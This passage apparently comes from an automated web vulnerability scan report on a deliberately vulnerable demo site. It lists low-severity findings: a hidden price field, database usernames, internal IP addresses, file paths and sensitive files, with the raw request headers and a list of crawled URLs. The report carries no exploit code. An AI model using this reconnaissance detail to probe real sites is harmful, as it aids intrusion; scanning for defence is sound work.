Impact

User may change price information before submitting the form.

Recommendation

Check if the script inputs are properly validated.

Affected items

[/product.php](#)

[Details](#)

Form name: f_addcart
Form action: cart.php
Form method: POST

Form input:

- price [hidden]

Request headers

GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

MySQL username disclosure

Severity	Low
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account.

When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.

Impact

This file may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Make sure the MySQL connection can be established and configure PHP not to display error messages.

Affected items

/Connections/DB_Connection.php

Details

Pattern found:

```
Access denied for user 'root'@'localhost' (using password: NO)
```

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
```

```
Acunetix-Aspect: enabled
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
```

```
Acunetix-Aspect-Queries: aspectalerts
```

```
Referer: http://testphp.vulnweb.com/
```

```
Cookie: login=test%2Ftest
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

/secured/database_connect.php

Details

Pattern found:

```
Access denied for user 'wauser'@'localhost' (using password: NO)
```

Request headers

GET /secured/database_connect.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

ⓘ Possible sensitive files

Severity	Low
Reported by module	/Scripts/PerFolder/Possible_Sensitive_Files.script

Description

A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target.

Impact

This file may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this file or remove it from the website.

References

[Web Server Security and Database Server Security](https://www.acunetix.com/websitesecurity/webserver-security/) (https://www.acunetix.com/websitesecurity/webserver-security/)

Affected items

/hpp/test.php
Details
Request headers

```
GET /hpp/test.php HTTP/1.1
```

```
Accept: acunetix/wvs
```

```
Cookie: login=test%2Ftest
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

🔔 Possible virtual host found

Severity	Low
Reported by module	/Scripts/PerServer/VirtualHost_Audit.script

Description

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.

This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.

Impact

Possible sensitive information disclosure.

Recommendation

Consult the virtual host configuration and check if this virtual host should be publicly accessible.

References

[Virtual hosting](https://en.wikipedia.org/wiki/Virtual_hosting) (https://en.wikipedia.org/wiki/Virtual_hosting)

Affected items

Web Server

Details

Virtual host: **localhost**

Response:

```
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
  body {
    width: 35em;
    margin: 0 auto;
    font-family: Tahoma, Verdana, Arial, sans-serif;
  }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href
```

Request headers

🔔 Unencrypted connection

Severity	Low
Reported by module	/RPA/no_https.js

Description

This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.

Impact

Possible information disclosure.

Recommendation

The site should send and receive data over a secure (HTTPS) connection.

Affected items

Web Server

Verified vulnerability

Details

Request headers

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

ⓘ Content Security Policy (CSP) not implemented

Severity	Informational
Reported by module	/httpdata/CSP_not_implemented.js

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:

```
Content-Security-Policy:

    default-src 'self';

    script-src 'self' https://code.jquery.com;
```

It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Impact

CSP can be used to prevent and/or mitigate attacks that involve content/code injection, such as cross-site scripting/XSS attacks, attacks that require embedding a malicious resource, attacks that involve malicious use of iframes, such as clickjacking attacks, and others.

Recommendation

It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.

References

[Content Security Policy \(CSP\)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
[Implementing Content Security Policy](https://hacks.mozilla.org/2016/02/implementing-content-security-policy/) (https://hacks.mozilla.org/2016/02/implementing-content-security-policy/)

Affected items

Web Server

Details

Request headers

GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Email address found

Severity	Informational
Reported by module	/Scripts/PerFolder/Text_Search_Dir.script

Description

One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Impact

Email addresses posted on Web sites may attract spam.

Recommendation

Check references for details on how to solve this problem.

References

[Anti-spam techniques](https://en.wikipedia.org/wiki/Anti-spam_techniques) (https://en.wikipedia.org/wiki/Anti-spam_techniques)

Affected items

Web Server

Details

Pattern found:

```
wvs@acunetix.com
```

Request headers

```
GET / HTTP/1.1
```

```
Cookie: login=test%2Ftest
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

Web Server

Details

Pattern found:

```
wvs@acunetix.com
```

Request headers

GET / HTTP/1.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/404.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/artists.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /artists.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/cart.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/categories.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /categories.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/disclaimer.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /disclaimer.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/guestbook.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/index.bak

Details

Pattern found:

wasp@acunetix.com

Request headers

GET /index.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/index.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /index.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/listproducts.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/login.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

/product.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /product.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/search.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /search.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/signup.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/Templates/main_dynamic_template.dwt.php

Details

Pattern found:

wvs@acunetix.com

Request headers

GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/userinfo.php

Details

Pattern found:

```
matheusdaocu@gmail.com  
wvs@acunetix.com
```

Request headers

GET /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Microsoft Office possible sensitive information

Severity	Informational
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

This document has been converted to HTML using Microsoft Office. It seems that Office has included sensitive information during the conversion.

Impact

Possible sensitive information disclosure that may help an attacker to conduct social engineering attacks.

Recommendation

Inspect the source code of this document and remove the sensitive information.

References

[iMPERVA Source Code Disclosure \(https://www.imperva.com/products/web-application-firewall-waf/\)](https://www.imperva.com/products/web-application-firewall-waf/)

Affected items

/secured/office.htm

Details

Pattern found:

```
<o:DocumentProperties>
  <o:Author>Acunetix</o:Author>
  <o:LastAuthor>Acunetix</o:LastAuthor>
  <o:Revision>1</o:Revision>
  <o:TotalTime>0</o:TotalTime>
  <o:Created>2005-04-05T11:44:00Z</o:Created>
  <o:LastSaved>2005-04-05T11:44:00Z</o:LastSaved>
  <o:Pages>1</o:Pages>
  <o:Words>5</o:Words>
  <o:Characters>30</o:Characters>
  <o:Company>Acunetix</o:Company>
  <o:Lines>1</o:Lines>
  <o:Paragraphs>1</o:Paragraphs>
  <o:CharactersWithSpaces>34</o:CharactersWithSpaces>
  <o:Version>11.6360</o:Version>
</o:DocumentProperties>
```

Request headers

GET /secured/office.htm HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Password type input with auto-complete enabled

Severity	Informational
Reported by module	/Crawler/12-Crawler_Password_Input_Autocomplete.js

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure.

Recommendation

The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to:

```
<INPUT TYPE="password" AUTOCOMPLETE="off">
```

Affected items

Web Server

Details

Form name: form1
Form action: /secured/newuser.php
Form method: POST

Form input:

- upass [password]

Request headers

GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Web Server

Details

Form name: loginform
Form action: userinfo.php
Form method: POST

Form input:

- pass [password]

Request headers

```
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

Possible internal IP address disclosure

Severity	Informational
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

Affected items

/404.php

Details

Pattern found:

192.168.0.28

Request headers

GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/pictures/ipaddresses.txt

Details

Pattern found:

192.168.0.26

Request headers

GET /pictures/ipaddresses.txt HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/secured/phpinfo.php

Details

Pattern found:

192.168.0.5

Request headers

GET /secured/phpinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Severity	Informational
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

References

[Full Path Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (https://www.owasp.org/index.php/Full_Path_Disclosure)

Affected items

/pictures/path-disclosure-unix.html

Details

Pattern found:

```
>/usr/local/etc/httpd/htdocs2/destination
```

Request headers

```
GET /pictures/path-disclosure-unix.html HTTP/1.1
```

```
Acunetix-Aspect: enabled
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
```

```
Acunetix-Aspect-Queries: aspectalerts
```

```
Referer: http://testphp.vulnweb.com/
```

```
Cookie: login=test%2Ftest
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

/secured/phpinfo.php

Details

Pattern found:

```
:/usr/obj/usr/src/sys/GENERIC
```

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
```

```
Acunetix-Aspect: enabled
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
```

```
Acunetix-Aspect-Queries: aspectalerts
```

```
Referer: http://testphp.vulnweb.com/
```

```
Cookie: login=test%2Ftest
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

Possible username or password disclosure

Severity	Informational
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

A username and/or password was found in this file. This information could be sensitive.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Remove this file from your website or change its permissions to remove access.

Affected items

```
/pictures/credentials.txt
```

Details

Pattern found:

password=something

Request headers

GET /pictures/credentials.txt HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Scanned items (coverage report)

<http://testphp.vulnweb.com/>
<http://testphp.vulnweb.com/.idea/>
<http://testphp.vulnweb.com/.idea/.name>
<http://testphp.vulnweb.com/.idea/acuart.iml>
<http://testphp.vulnweb.com/.idea/encodings.xml>
<http://testphp.vulnweb.com/.idea/misc.xml>
<http://testphp.vulnweb.com/.idea/modules.xml>
<http://testphp.vulnweb.com/.idea/scopes/>
http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml
<http://testphp.vulnweb.com/.idea/vcs.xml>
<http://testphp.vulnweb.com/.idea/workspace.xml>
http://testphp.vulnweb.com/_mmServerScripts/
http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php
http://testphp.vulnweb.com/_mmServerScripts/mysql.php
<http://testphp.vulnweb.com/404.php>
<http://testphp.vulnweb.com/admin/>
<http://testphp.vulnweb.com/admin/create.sql>
<http://testphp.vulnweb.com/AJAX/>
<http://testphp.vulnweb.com/AJAX/artists.php>
<http://testphp.vulnweb.com/AJAX/categories.php>
<http://testphp.vulnweb.com/AJAX/htaccess.conf>
<http://testphp.vulnweb.com/AJAX/index.php>
<http://testphp.vulnweb.com/AJAX/infoartist.php>
<http://testphp.vulnweb.com/AJAX/infocateg.php>
<http://testphp.vulnweb.com/AJAX/infotitle.php>
<http://testphp.vulnweb.com/AJAX/showxml.php>
<http://testphp.vulnweb.com/AJAX/styles.css>
<http://testphp.vulnweb.com/AJAX/titles.php>
<http://testphp.vulnweb.com/artists.php>
<http://testphp.vulnweb.com/bxss/>
<http://testphp.vulnweb.com/bxss/adminPan3/>
<http://testphp.vulnweb.com/bxss/adminPan3/index.php>
<http://testphp.vulnweb.com/bxss/adminPan3/style.css>
<http://testphp.vulnweb.com/bxss/cleanDatabase.php>
http://testphp.vulnweb.com/bxss/database_connect.php
<http://testphp.vulnweb.com/bxss/index.php>
<http://testphp.vulnweb.com/bxss/test.js>
<http://testphp.vulnweb.com/bxss/vuln.php>
<http://testphp.vulnweb.com/cart.php>
<http://testphp.vulnweb.com/categories.php>
<http://testphp.vulnweb.com/clearguestbook.php>
<http://testphp.vulnweb.com/clientaccesspolicy.xml>
<http://testphp.vulnweb.com/comment.php>
<http://testphp.vulnweb.com/Connections/>
http://testphp.vulnweb.com/Connections/DB_Connection.php
<http://testphp.vulnweb.com/crossdomain.xml>
<http://testphp.vulnweb.com/CVS/>
<http://testphp.vulnweb.com/CVS/Entries>
<http://testphp.vulnweb.com/CVS/Entries.Log>
<http://testphp.vulnweb.com/CVS/Repository>
<http://testphp.vulnweb.com/CVS/Root>
http://testphp.vulnweb.com/database_connect.php
<http://testphp.vulnweb.com/disclaimer.php>
<http://testphp.vulnweb.com/Flash/>
<http://testphp.vulnweb.com/Flash/add fla>
<http://testphp.vulnweb.com/Flash/add.swf>
<http://testphp.vulnweb.com/guestbook.php>
<http://testphp.vulnweb.com/hpp/>

<http://testphp.vulnweb.com/hpp/index.php>
<http://testphp.vulnweb.com/hpp/params.php>
<http://testphp.vulnweb.com/hpp/test.php>
<http://testphp.vulnweb.com/images/>
<http://testphp.vulnweb.com/index.bak>
<http://testphp.vulnweb.com/index.php>
<http://testphp.vulnweb.com/index.zip>
<http://testphp.vulnweb.com/listproducts.php>
<http://testphp.vulnweb.com/login.php>
<http://testphp.vulnweb.com/logout.php>
<http://testphp.vulnweb.com/medias/>
<http://testphp.vulnweb.com/medias/css/>
<http://testphp.vulnweb.com/medias/css/main.css>
<http://testphp.vulnweb.com/medias/img/>
<http://testphp.vulnweb.com/medias/js/>
http://testphp.vulnweb.com/medias/js/common_functions.js
http://testphp.vulnweb.com/Mod_Rewrite_Shop/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/.htaccess
http://testphp.vulnweb.com/Mod_Rewrite_Shop/buy.php
